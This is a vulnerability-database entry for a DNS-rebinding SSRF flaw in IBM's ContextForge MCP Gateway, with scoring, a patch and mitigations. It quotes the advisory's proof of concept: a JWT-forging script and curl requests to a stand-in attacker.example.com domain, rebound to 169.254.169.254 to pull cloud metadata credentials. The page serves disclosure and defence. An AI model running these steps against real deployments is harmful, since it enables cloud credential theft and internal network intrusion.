Skip to main content

ContextForge Gateway CVE-2026-53708

| EUVDEUVD-2026-77591 MEDIUM
Reliance on Reverse DNS Resolution for a Security-Critical Action (CWE-350)
2026-08-14 https://github.com/IBM/mcp-context-forge GHSA-9hgc-g3w5-67cm PYSEC-2026-3684
6.6
CVSS 3.1 · Vendor: https://github.com/IBM/mcp-context-forge
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain database-backed gateways.read JWT
  2. Delivery
    Register attacker-controlled domain with 1-second TTL resolving to public IP
  3. Exploit
    POST hostname URL to /admin/gateways/test
  4. Install
    Validator resolves public IP, all SSRF checks pass
  5. C2
    Flip DNS record to 169.254.169.254 before httpx connects
  6. Execute
    httpx re-resolves and establishes connection to cloud IMDS
  7. Impact
    IMDS response with IAM role credentials returned to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication DNS-independent verification
Exploitation Conditions

Two explicit prerequisites are required. First, the operator must have set MCPGATEWAY_ADMIN_API_ENABLED=true; this is explicitly non-default, meaning default deployments are not reachable via this path. Second, the attacker must hold a credential for an account carrying an explicit gateways.read permission granted via a database-backed role record - the endpoint decorator @require_permission('gateways.read', allow_admin_bypass=False) disables the platform-admin bypass, so a platform admin without a matching database row is rejected with HTTP 403. Credentials forged via the companion bootstrap bypass (GHSA-m8rv-5m6m-32ff) are also rejected because they produce virtual identities with no database record. Additionally, the attacker must control DNS for the submitted hostname (via attacker-owned infrastructure with a low-TTL record) and must successfully complete the DNS flip within the window between validation and httpx connection. What limits exploitation beyond prerequisites: cloud IMDS credential theft requires IMDSv1 access (IMDSv2 enforcement or IMDS network blocking neutralizes the highest-impact path); host-level egress filtering to RFC-1918 and link-local ranges independently blocks the connection regardless of DNS rebinding success.

Impact

The vendor-assigned CVSS 6.6 (AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N) accurately reflects real-world exploitation difficulty: AC:H captures the DNS rebinding timing requirement (attacker must control a DNS server, set a 1-second TTL, and flip the record within the window between validation and connection), and PR:H captures the mandatory database-backed gateways.read role with no admin bypass permitted. No EPSS data is present in the available intelligence; the vulnerability is absent from CISA KEV, indicating no confirmed widespread exploitation at time of analysis. A detailed PoC is published in the GitHub advisory, confirming the technique is viable in practice. The two non-default prerequisites - admin API disabled by default, plus explicit database role assignment with no shortcut - substantially narrow the exposed population; even a mid-sized municipal IT team in gliwice operating this gateway would only be exposed if they had explicitly set MCPGATEWAY_ADMIN_API_ENABLED=true and provisioned an account carrying the gateways.read permission. The scope change (S:C) and high confidentiality impact (C:H) are realistic in cloud environments where IMDSv1 is accessible, as a successful rebind yields IAM role credentials with no further steps; in environments enforcing IMDSv2 or blocking instance metadata network access, the practical impact is reduced to internal network probing.

Exploit ScenarioDerived

An attacker holding a valid JWT for an account with a database-backed gateways.read role registers a malicious domain (e.g., attacker.example.com) with a 1-second TTL initially resolving to a public IP, then POSTs {"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"} to /admin/gateways/test; the validator resolves the public IP, all SSRF checks pass. The attacker immediately flips the DNS record to 169.254.169.254; httpx re-resolves and connects to the cloud IMDS endpoint, returning IAM role credentials in the HTTP response body to the caller. Tooling such as rbndr.us automates the DNS flip with sub-second reliability, and a working PoC script is published in the GitHub security advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 14, 2026

SSRF protection in IBM ContextForge MCP Gateway (mcp-contextforge-gateway) is bypassable via DNS rebinding against the /admin/gateways/test endpoint, allowing an attacker with a database-backed gateways.read role to reach cloud instance metadata services (including 169.254.169.254) and internal network resources. The root cause is a TOCTOU race between the hostname validation step - which resolves DNS via socket.getaddrinfo() and checks the result against blocked private ranges - and the httpx-based HTTP client's fully independent DNS re-resolution at connection time, with no IP-pinning or validated-address forwarding bridging the two operations. A detailed proof-of-concept is published in GitHub Security Advisory GHSA-9hgc-g3w5-67cm; the vendor confirmed the fix in release v1.0.3 (2026-06-10); no CISA KEV listing is present at time of analysis.

RemediationAI

The primary remediation is to upgrade mcp-contextforge-gateway to version 1.0.3 or later, which closes the TOCTOU gap tracked as TODO ICACF-15; release details are at https://github.com/IBM/mcp-context-forge/releases/tag/v1.0.3 and the advisory at https://github.com/IBM/mcp-context-forge/security/advisories/GHSA-9hgc-g3w5-67cm. For operators who cannot immediately upgrade, the most effective compensating control is to set MCPGATEWAY_ADMIN_API_ENABLED=false (which is the default), disabling the /admin/gateways/test endpoint entirely and eliminating the attack surface at the cost of gateway connectivity testing functionality. If the admin API must remain enabled, restrict gateways.read role assignment to the minimum necessary accounts and enforce network-level egress filtering at the host or container network policy layer to block outbound connections to RFC-1918 ranges and 169.254.169.254 - this prevents httpx from successfully reaching internal services even when DNS rebinding succeeds. Critically, the application-layer controls ssrf_blocked_networks and ssrf_dns_fail_closed do NOT protect against the DNS rebinding path as they operate only at validation time; they must not be treated as compensating controls for this vulnerability.

Affected VersionsENISA

mcp-contextforge-gateway < 1.0.3
mcp-context-forge < 1.0.3

Affected Packages

pypi mcp-contextforge-gateway fix: 1.0.3
euvd mcp_context_forge fix: 1.0.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the Python package mcp-contextforge-gateway on PyPI (CPE: pkg:pip/mcp-contextforge-gateway), IBM's Model Context Protocol gateway service. The flaw is in validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527-1710), which calls socket.getaddrinfo() to resolve the submitted hostname, checks the result against blocked ranges (169.254.169.254/32, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, loopback, and link-local), and accepts the URL if clean. The validated URL is then forwarded to ResilientHttpClient (backed by httpx) as the original hostname string - not the validated IP - triggering a second, fully independent DNS lookup at connection time. CWE-350 (Reliance on Reverse DNS Resolution for a Security-Critical Action) precisely captures this class: security enforcement applied to one DNS resolution provides no guarantee over a subsequent re-resolution. The configuration options ssrf_blocked_networks and ssrf_dns_fail_closed operate exclusively on the validation-time resolution and are therefore bypassed by the rebinding. The source code documents the gap in two locations, including a named internal ticket (ICACF-15), confirming maintainers treated this as a tracked open defect before disclosure.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/IBM/mcp-context-forge) PRIMARY 6.6 MEDIUM
AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N
vuln.today AI 6.6 MEDIUM

Requires attacker-controlled DNS with rebinding timing and a database-provisioned high-privilege credential, justifying AC:H and PR:H; cloud IMDS access constitutes a scope change with high confidentiality impact.

3.1 AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N
4.0 AV:N/AC:H/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:L/SA:N

Primary rating from Vendor (https://github.com/IBM/mcp-context-forge).

CVSS VectorVendor: https://github.com/IBM/mcp-context-forge

Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527-1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

  • The validated IP address is never passed to the HTTP client.
  • Only the original hostname is forwarded, triggering a second independent lookup.
  • No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is

implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 - mcpgateway/common/validators.py, lines 1537-1543 (function docstring of validate_gateway_test_url):

> "DNS TOCTOU Limitation: This validation resolves DNS at validation time, but > the HTTP client will re-resolve DNS at connection time. An attacker controlling > DNS can return a public IP during validation and a private IP during connection > (DNS rebinding). True mitigation requires pinning the validated IP into the > connection (custom resolver/transport, or IP allowlist check at connect > callback). This is tracked as a known limitation for future improvement."

Location 2 - mcpgateway/admin.py, lines 14025-14029 (call site comment):

> "TODO(ICACF-15): DNS rebinding risk - allowlist and SSRF checks resolve DNS, > but the actual ResilientHttpClient request resolves DNS a third time. An > attacker-controlled DNS server could return a public IP during validation and a > private IP during the actual request. Consider pinning the resolved IP for > outbound requests (custom transport) or caching DNS resolution across > validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

  1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly

enabled by an operator).

  1. The attacker holds a credential with explicit gateways.read permission

assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) - a virtual identity with no database record - is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

bash
cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 - Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

python
import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"
# must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")
bash
TOKEN=$(python3 /tmp/gen_token.py)

Step 2 - Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

bash
curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 - "Invalid gateway URL"

Step 3 - DNS rebinding attack

  1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
  2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
  3. Submit the request:
bash
curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'
  1. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4;

all SSRF checks pass.

  1. Attacker immediately flips the DNS record:

attacker.example.com → 169.254.169.254.

  1. httpx independently re-resolves the hostname and connects to

169.254.169.254.

  1. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Threat Intelligence Overview

EPSS Score
0.2%
Top 85% exploitable
Prevalence
Low
niche IBM MCP gateway for AI platform deployments
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

53
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +33
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy